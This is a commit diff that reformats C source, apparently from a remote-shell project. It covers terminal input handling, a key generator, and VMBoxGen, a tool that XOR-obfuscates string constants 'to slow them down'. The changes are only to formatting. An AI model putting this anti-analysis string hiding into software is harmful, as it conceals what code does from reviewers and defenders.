@ -130,76 +184,85 @@ int shellT_kbesc(void) {
|
|||||||
|
|
||||||
/* unrecognized key? consume until there's no event */
|
/* unrecognized key? consume until there's no event */
|
||||||
if (c == 0) {
|
if (c == 0) {
|
||||||
while (shellT_waitForInput(0)) shellT_getch();
|
while (shellT_waitForInput(0))
|
||||||
|
shellT_getch();
|
||||||
}
|
}
|
||||||
|
|
||||||
return c;
|
return c;
|
||||||
}
|
}
|
||||||
|
|
||||||
int shellT_kbget(void) {
|
int shellT_kbget(void)
|
||||||
|
{
|
||||||
char c = shellT_getch();
|
char c = shellT_getch();
|
||||||
return (c == KEY_ESCAPE) ? shellT_kbesc() : c;
|
return (c == KEY_ESCAPE) ? shellT_kbesc() : c;
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_printPrompt(void) {
|
void shellT_printPrompt(void)
|
||||||
|
{
|
||||||
clearLine();
|
clearLine();
|
||||||
shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : ""));
|
shellT_printf("\r%s%.*s", prompt, cmdCount, (cmd ? cmd : ""));
|
||||||
if (cmdCount > cmdCursor)
|
if (cmdCount > cmdCursor)
|
||||||
cursorBackward(cmdCount-cmdCursor);
|
cursorBackward(cmdCount - cmdCursor);
|
||||||
fflush(stdout);
|
fflush(stdout);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_setPrompt(char *_prompt) {
|
void shellT_setPrompt(char *_prompt)
|
||||||
|
{
|
||||||
prompt = _prompt;
|
prompt = _prompt;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool isAscii(int c) {
|
/* covers every non-controller related ascii characters (ignoring the extended character range) */
|
||||||
return c >= ' ' && c <= '~'; /* covers every non-controller related ascii characters (ignoring the extended character range) */
|
bool isAscii(int c)
|
||||||
|
{
|
||||||
|
return c >= ' ' && c <= '~';
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellT_addChar(tShell_client *client, int c) {
|
void shellT_addChar(tShell_client *client, int c)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
switch (c) {
|
switch (c) {
|
||||||
case KEY_BACKSPACE:
|
case KEY_BACKSPACE:
|
||||||
if (cmdCursor > 0) {
|
if (cmdCursor > 0) {
|
||||||
laikaM_rmvarray(cmd, cmdCount, (cmdCursor-1), 1);
|
laikaM_rmvarray(cmd, cmdCount, (cmdCursor - 1), 1);
|
||||||
cmdCursor--;
|
cmdCursor--;
|
||||||
shellT_printPrompt();
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case KEY_LEFT:
|
|
||||||
if (cmdCursor > 0) {
|
|
||||||
cursorBackward(1);
|
|
||||||
--cmdCursor;
|
|
||||||
fflush(stdout);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case KEY_RIGHT:
|
|
||||||
if (cmdCursor < cmdCount) {
|
|
||||||
cursorForward(1);
|
|
||||||
cmdCursor++;
|
|
||||||
fflush(stdout);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case KEY_ENTER:
|
|
||||||
if (cmdCount > 0) {
|
|
||||||
cmd[cmdCount] = '\0';
|
|
||||||
cmdCount = 0;
|
|
||||||
cmdCursor = 0;
|
|
||||||
shellS_runCmd(client, cmd);
|
|
||||||
shellT_printPrompt();
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case KEY_UP: case KEY_DOWN: break; /* ignore these */
|
|
||||||
default:
|
|
||||||
/* we only want to accept valid input, just ignore non-ascii characters */
|
|
||||||
if (!isAscii(c))
|
|
||||||
return;
|
|
||||||
|
|
||||||
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
|
|
||||||
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
|
|
||||||
cmd[cmdCursor++] = c;
|
|
||||||
shellT_printPrompt();
|
shellT_printPrompt();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case KEY_LEFT:
|
||||||
|
if (cmdCursor > 0) {
|
||||||
|
cursorBackward(1);
|
||||||
|
--cmdCursor;
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case KEY_RIGHT:
|
||||||
|
if (cmdCursor < cmdCount) {
|
||||||
|
cursorForward(1);
|
||||||
|
cmdCursor++;
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case KEY_ENTER:
|
||||||
|
if (cmdCount > 0) {
|
||||||
|
cmd[cmdCount] = '\0';
|
||||||
|
cmdCount = 0;
|
||||||
|
cmdCursor = 0;
|
||||||
|
shellS_runCmd(client, cmd);
|
||||||
|
shellT_printPrompt();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case KEY_UP:
|
||||||
|
case KEY_DOWN:
|
||||||
|
break; /* ignore these */
|
||||||
|
default:
|
||||||
|
/* we only want to accept valid input, just ignore non-ascii characters */
|
||||||
|
if (!isAscii(c))
|
||||||
|
return;
|
||||||
|
|
||||||
|
laikaM_growarray(char, cmd, 1, cmdCount, cmdCap);
|
||||||
|
laikaM_insertarray(cmd, cmdCount, cmdCursor, 1);
|
||||||
|
cmd[cmdCursor++] = c;
|
||||||
|
shellT_printPrompt();
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -1,10 +1,11 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
|
|
||||||
int main(int argv, char **argc) {
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main(int argv, char **argc)
|
||||||
|
{
|
||||||
unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
unsigned char priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||||
char buf[256];
|
char buf[256];
|
||||||
|
|
||||||
|
@ -1,38 +1,46 @@
|
|||||||
|
#include "lconfig.h"
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <inttypes.h>
|
|
||||||
|
|
||||||
#include "lconfig.h"
|
#define ERR(...) \
|
||||||
|
do { \
|
||||||
#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
|
printf(__VA_ARGS__); \
|
||||||
|
exit(EXIT_FAILURE); \
|
||||||
|
} while (0);
|
||||||
#define RANDBYTE (rand() % UINT8_MAX)
|
#define RANDBYTE (rand() % UINT8_MAX)
|
||||||
|
|
||||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
|
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
|
||||||
|
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||||
static const char *POSTAMBLE = "\n#endif\n";
|
static const char *POSTAMBLE = "\n#endif\n";
|
||||||
|
|
||||||
void writeArray(FILE *out, uint8_t *data, int sz) {
|
void writeArray(FILE *out, uint8_t *data, int sz)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
fprintf(out, "{");
|
fprintf(out, "{");
|
||||||
for (i = 0; i < sz-1; i++) {
|
for (i = 0; i < sz - 1; i++) {
|
||||||
fprintf(out, "0x%02x, ", data[i]);
|
fprintf(out, "0x%02x, ", data[i]);
|
||||||
}
|
}
|
||||||
fprintf(out, "0x%02x};\n", data[sz-1]);
|
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
||||||
}
|
}
|
||||||
|
|
||||||
void writeDefineArray(FILE *out, char *ident, uint8_t *data) {
|
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||||
|
{
|
||||||
fprintf(out, "#define %s ", ident);
|
fprintf(out, "#define %s ", ident);
|
||||||
writeArray(out, data, LAIKA_VM_CODESIZE);
|
writeArray(out, data, LAIKA_VM_CODESIZE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void writeDefineVal(FILE *out, char *ident, int data)
|
||||||
void writeDefineVal(FILE *out, char *ident, int data) {
|
{
|
||||||
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
||||||
}
|
}
|
||||||
|
|
||||||
void addPadding(uint8_t *data, int start) {
|
void addPadding(uint8_t *data, int start)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
|
/* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */
|
||||||
@ -41,7 +49,8 @@ void addPadding(uint8_t *data, int start) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
|
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < sz; i++)
|
for (i = 0; i < sz; i++)
|
||||||
@ -51,13 +60,14 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key) {
|
|||||||
addPadding(buff, i);
|
addPadding(buff, i);
|
||||||
}
|
}
|
||||||
|
|
||||||
#define MAKESKIDDATA(macro) \
|
#define MAKESKIDDATA(macro) \
|
||||||
key = RANDBYTE; \
|
key = RANDBYTE; \
|
||||||
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
|
makeSKIDdata(macro, strlen(macro), tmpBuff, key); \
|
||||||
writeDefineVal(out, "KEY_" #macro, key); \
|
writeDefineVal(out, "KEY_" #macro, key); \
|
||||||
writeDefineArray(out, "DATA_" #macro, tmpBuff);
|
writeDefineArray(out, "DATA_" #macro, tmpBuff);
|
||||||
|
|
||||||
int main(int argv, char **argc) {
|
int main(int argv, char **argc)
|
||||||
|
{
|
||||||
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
||||||
int key;
|
int key;
|
||||||
FILE *out;
|
FILE *out;
|
||||||
@ -68,7 +78,8 @@ int main(int argv, char **argc) {
|
|||||||
if ((out = fopen(argc[1], "w+")) == NULL)
|
if ((out = fopen(argc[1], "w+")) == NULL)
|
||||||
ERR("Failed to open %s!\n", argc[1]);
|
ERR("Failed to open %s!\n", argc[1]);
|
||||||
|
|
||||||
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
|
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
||||||
|
slow them down */
|
||||||
|
|
||||||
fprintf(out, PREAMBLE);
|
fprintf(out, PREAMBLE);
|
||||||
/* shared */
|
/* shared */
|
||||||
|
@ -1,12 +1,14 @@
|
|||||||
|
#include "lbox.h"
|
||||||
|
#include "lvm.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
|
||||||
#include "lvm.h"
|
|
||||||
#include "lbox.h"
|
|
||||||
|
|
||||||
/* VM BOX Demo:
|
/* VM BOX Demo:
|
||||||
A secret message has been xor'd, the BOX_SKID is used to decode the message.
|
A secret message has been xor'd, the BOX_SKID is used to decode the message.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
/* clang-format off */
|
||||||
|
|
||||||
#define VMTEST_STR_DATA { \
|
#define VMTEST_STR_DATA { \
|
||||||
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \
|
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \
|
||||||
@ -14,8 +16,11 @@
|
|||||||
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \
|
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \
|
||||||
};
|
};
|
||||||
|
|
||||||
int main(int argv, char **argc) {
|
/* clang-format on */
|
||||||
LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
|
|
||||||
|
int main(int argv, char **argc)
|
||||||
|
{
|
||||||
|
LAIKA_BOX_STARTVAR(char *, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA)
|
||||||
printf("%s\n", str);
|
printf("%s\n", str);
|
||||||
LAIKA_BOX_ENDVAR(str)
|
LAIKA_BOX_ENDVAR(str)
|
||||||
return 0;
|
return 0;
|
||||||
|
Loading…
Reference in New Issue
Block a user